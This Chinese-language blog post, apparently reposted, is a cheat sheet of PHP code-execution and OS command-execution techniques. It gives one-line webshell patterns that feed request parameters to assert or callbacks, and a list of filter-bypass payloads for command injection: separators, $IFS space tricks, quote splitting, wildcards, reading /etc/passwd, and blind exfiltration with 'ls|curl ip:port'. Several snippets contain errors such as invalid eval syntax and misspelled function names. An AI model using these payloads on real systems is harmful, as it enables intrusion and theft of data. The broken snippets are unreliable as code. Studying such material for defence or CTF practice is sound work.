總結一下代碼執行與命令執行


一.代碼執行

1.常見的執行函數

(1).eval()將字符串當作函數執行

1 <?php
2 eval (echo "hello";);
3 ?>

(2).assert()判斷是否是字符串,是則代碼執行

1 <?php
2 $a='assert';
3 $a(phpinfo());
4 ?>

(3).call_user_func()回調函數,可以使用is_callable查看是否可以進行調用,其中可以傳遞內置和用戶自定義的函數.

1 <?php
2 $a='system'
3 $b='systminfo';
4 call_user_func($a,$b);
5 call_user_func('eval','phpinfo()');
6 ?>

(4).call_user_fuc_array():回調函數,參數位數組

1 <?php
2 $array[0]=$_POST['a'];
3 call_user_func_array("assert",$array);
4 ?>

(5)preg_replace() 當為/e時代碼會執行,前提是不超過php7

1 <?php
2 $a='phpinfo()';
3 $b=preg_replace("/abc/e",$a,'abc');
4 ?>

(6)array_map()為數組的每個元素應用回調函數,使用/?a=assert&b=phpinfo();

1 <?php
2 $a=$_GET['a'];
3 $b=$_GET['b'];
4 $array[0]=$b;
5 $c=array_map($a,$array);
6 ?>

(7)array_filter依次將array數組中的每個值傳遞到callback函數。如果callback函數返回true,則array數組的當前值會被包含在返回的結果數組中。數組的鍵名保持不變

1 <?php
2 $array[0]=$_GET['a'];
3 array_filter($array,'assert');
4 ?>

(8)usort使用自定義函數對數組進行排序,用法1[]=phpinfo()&1[]=123$2[]=assert,過程就是GET變量被展開成連個參數['phpinfo()','123']和assert,傳入usort函數。usort函數的第二個參數是回調函數assert,其調用了第一個參數的phpinfo();

1 <?php
2 usortg($_GET[1],'assert');
3 ?>

 

 

(9) uasort()使用用戶自定義的比較函數對數組的值進行排序並保持索引關聯

1 <?php
2 $e='assert';
3 $arr=array($_REQUEST['pass'],'test');
4 uasort($arr,$e);
5 ?>

(10)${}中間的php代碼將會被解析

1 <?php
2 ${phpinfo()};
3 ?>

 

 

 二. 命令執行

1.常見的命令執行函數

(1)system()可以執行系統命令並將其輸出

1 <?php
2 system('pwd');
3 system('whoami');
4 ?>

(2)exec()執行命令,但是無輸出。

1 <?php
2 highlight_file(__FILE__);
3 $b=exec('whoami');
4 var_dump($b);
5 ?>

(3)passthru執行命令輸出

1 <?php
2 highlight_file(__FILE__);
3 passthru('systeminfo');
4 ?>

(4)shell_exec執行命令但無回顯

1 <?php
2 highlight_file(__FILE__);
3 var_dump(shell_exec('ipconfig'));
4 ?>

(5)反問號,執行shell命令,並返回輸出的字符串

1 <?php
2 highlight_file(__FILE__);
3 $a = 'ipconfig';
4 echo `$a`;
5 ?>

(6)ob_start打開輸出控制緩沖

1 <?php
2 ob_start("system");
3 echo "whoami";
4 ob_end_flush();
5 ?>

2.繞過

(1)常見的分隔符

換行符%0a

回車符%0d

連續指令 ;

后台進程 &

管道符 |

邏輯 || &&

(2)繞過空格

$IFS

<

${IFS}

$IFS$9

$%09

(3)各類符號

1 echo "${PATH:0:1}"
2 echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
3 echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
4 expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1

%0a,%0d,%00,%20

(4)銘感字符繞過

變量繞過:a=l;b=s;$a$b

 

 (5)編碼繞過

echo 'cat' |base64

(6)未定義的初始化變量

cat $b /etc/passwd

 

 (7)連接符

cat /etc/pass'w'd

 

 (8)使用通配符

/???/?s --help

(9)無回顯

使用延時函數,比如:ls|sleep 3

使用http,比如:ls|curl ip:port

使用DNS

(10)長度繞過

如15位命令執行,7位命令執行,5位命令執行,4位命令執行

https://xz.aliyun.com/t/1579

(11)無字母數字的命令執行

1.異或

2.取反

3.自增

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM